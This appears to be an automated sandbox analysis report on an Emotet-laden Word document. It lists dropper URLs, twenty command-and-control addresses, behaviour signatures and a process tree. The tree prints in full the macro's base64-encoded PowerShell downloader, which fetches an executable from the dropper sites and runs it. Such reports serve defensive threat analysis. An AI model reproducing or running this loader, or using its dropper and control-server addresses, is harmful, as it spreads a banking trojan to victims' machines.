Analysis

  • max time kernel
    136s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    14/08/2020, 15:06

General

  • Target
    emotet_e2_41aaeee86aca179d46c937a4e3b3294e1fa6fc9aac94f1f58637a7c4ee2ad263_2020-08-14__150430._doc.doc
  • Size 232KB
  • Sample200814-v8bstc941a
  • SHA256 41aaeee86aca179d46c937a4e3b3294e1fa6fc9aac94f1f58637a7c4ee2ad263
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://rochelldiy.com/ucigm/d_8_kv/

  • exe.dropper

    http://sh.m.sxhpyy.com/special/c_eh6r_m97/

  • exe.dropper

    http://hx.sxheping120.com/zt/ixq_vc2ru_xv6/

  • exe.dropper

    http://tf.sxhpyy120.com/a/k_q_wc6o2/

  • exe.dropper

    http://selectadrive.nl/wp-admin/ek_yve_bgtxm/

Extracted

Family
  • emotet

C2
  • 75.139.38.211:80

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 190.160.53.126:80

  • 183.101.175.193:80

  • 137.59.187.107:8080

  • 168.235.67.138:7080

  • 209.143.35.232:80

  • 180.92.239.110:8080

  • 167.86.90.214:8080

  • 85.66.181.138:80

  • 95.213.236.64:8080

  • 83.169.36.251:8080

  • 157.245.99.39:8080

  • 79.98.24.39:8080

  • 70.167.215.250:8080

  • 93.51.50.171:8080

  • 174.102.48.180:80

  • 24.179.13.119:80

  • 41.60.200.34:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_41aaeee86aca179d46c937a4e3b3294e1fa6fc9aac94f1f58637a7c4ee2ad263_2020-08-14__150430._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:860
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABCAHIANQA3AGwAawBrAD0AJwBHAGoAZgBwAHoAdwBpACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQBgAFIAaQBgAFQAWQBwAHIAbwBgAFQAbwBDAGAATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARgB4AHYAagBoAF8AZQAgAD0AIAAnAEUAYgB5AHoAJwA7ACQATAAwAGIAbQB1AG0AdQA9ACcARwBkAGUAZwAxAHcAZAAnADsAJABBAGsAdABnADUAcQB1AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQARgB4AHYAagBoAF8AZQArACcALgBlAHgAZQAnADsAJABWAGQAdwAyAF8AYwA5AD0AJwBIAGUAZwB4AG8AbwBoACcAOwAkAFYAYQA2AGIAcgA5AGYAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAGIAQwBMAGkAZQBuAHQAOwAkAFUAZQBoADMAagA1AG0APQAnAGgAdAB0AHAAOgAvAC8AcgBvAGMAaABlAGwAbABkAGkAeQAuAGMAbwBtAC8AdQBjAGkAZwBtAC8AZABfADgAXwBrAHYALwAqAGgAdAB0AHAAOgAvAC8AcwBoAC4AbQAuAHMAeABoAHAAeQB5AC4AYwBvAG0ALwBzAHAAZQBjAGkAYQBsAC8AYwBfAGUAaAA2AHIAXwBtADkANwAvACoAaAB0AHQAcAA6AC8ALwBoAHgALgBzAHgAaABlAHAAaQBuAGcAMQAyADAALgBjAG8AbQAvAHoAdAAvAGkAeABxAF8AdgBjADIAcgB1AF8AeAB2ADYALwAqAGgAdAB0AHAAOgAvAC8AdABmAC4AcwB4AGgAcAB5AHkAMQAyADAALgBjAG8AbQAvAGEALwBrAF8AcQBfAHcAYwA2AG8AMgAvACoAaAB0AHQAcAA6AC8ALwBzAGUAbABlAGMAdABhAGQAcgBpAHYAZQAuAG4AbAAvAHcAcAAtAGEAZABtAGkAbgAvAGUAawBfAHkAdgBlAF8AYgBnAHQAeABtAC8AJwAuACIAUwBgAFAATABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABaADkANABkAHAAcgBtAD0AJwBUAHkAaABmAGYAXwAxACcAOwBmAG8AcgBlAGEAYwBoACgAJABEADUANgBmAG0AeQAwACAAaQBuACAAJABVAGUAaAAzAGoANQBtACkAewB0AHIAeQB7ACQAVgBhADYAYgByADkAZgAuACIAZABPAFcATgBsAE8AYQBEAGAARgBgAGkAbABlACIAKAAkAEQANQA2AGYAbQB5ADAALAAgACQAQQBrAHQAZwA1AHEAdQApADsAJABOAG0AbQAwAG0AaQBoAD0AJwBBAHEAYgBwAGYAOABpACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQQBrAHQAZwA1AHEAdQApAC4AIgBsAGAARQBgAE4ARwB0AEgAIgAgAC0AZwBlACAAMwA2ADgANQA1ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEEAawB0AGcANQBxAHUAKQA7ACQAVgBnADMANABhAHEAbgA9ACcAUABhAG0ANgA0AHAAbQAnADsAYgByAGUAYQBrADsAJABDAGUAYwBjAGoAMAAyAD0AJwBMAGQAXwBxADgANgA1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAawBsADQAMABqAHMAPQAnAFoAaAAxAGkANgB0AGkAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2380
    • C:\Users\Admin\AppData\Local\Temp\Ebyz.exe
      "C:\Users\Admin\AppData\Local\Temp\Ebyz.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3680
      • C:\Windows\SysWOW64\dbgeng\msdrm.exe
        "C:\Windows\SysWOW64\dbgeng\msdrm.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:508

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/508-16-0x00000000007F0000-0x00000000007FC000-memory.dmp

        memory/860-4-0x0000025F62CAE000-0x0000025F62CB3000-memory.dmp

        memory/860-6-0x0000025F62CAE000-0x0000025F62CB3000-memory.dmp

        memory/860-5-0x0000025F62CAE000-0x0000025F62CB3000-memory.dmp

        memory/860-0-0x00007FFA65BE0000-0x00007FFA662A6000-memory.dmp

        memory/860-3-0x0000025F62CAE000-0x0000025F62CB3000-memory.dmp

        memory/860-2-0x0000025F62B02000-0x0000025F62B38000-memory.dmp

        memory/860-1-0x0000025F62B38000-0x0000025F62B3D000-memory.dmp

        memory/2380-7-0x00007FFA5E350000-0x00007FFA5ED3C000-memory.dmp

        memory/2380-8-0x00000157F7D30000-0x00000157F7D31000-memory.dmp

        memory/2380-9-0x00000157F7EE0000-0x00000157F7EE1000-memory.dmp

        memory/3680-13-0x0000000000670000-0x000000000067C000-memory.dmp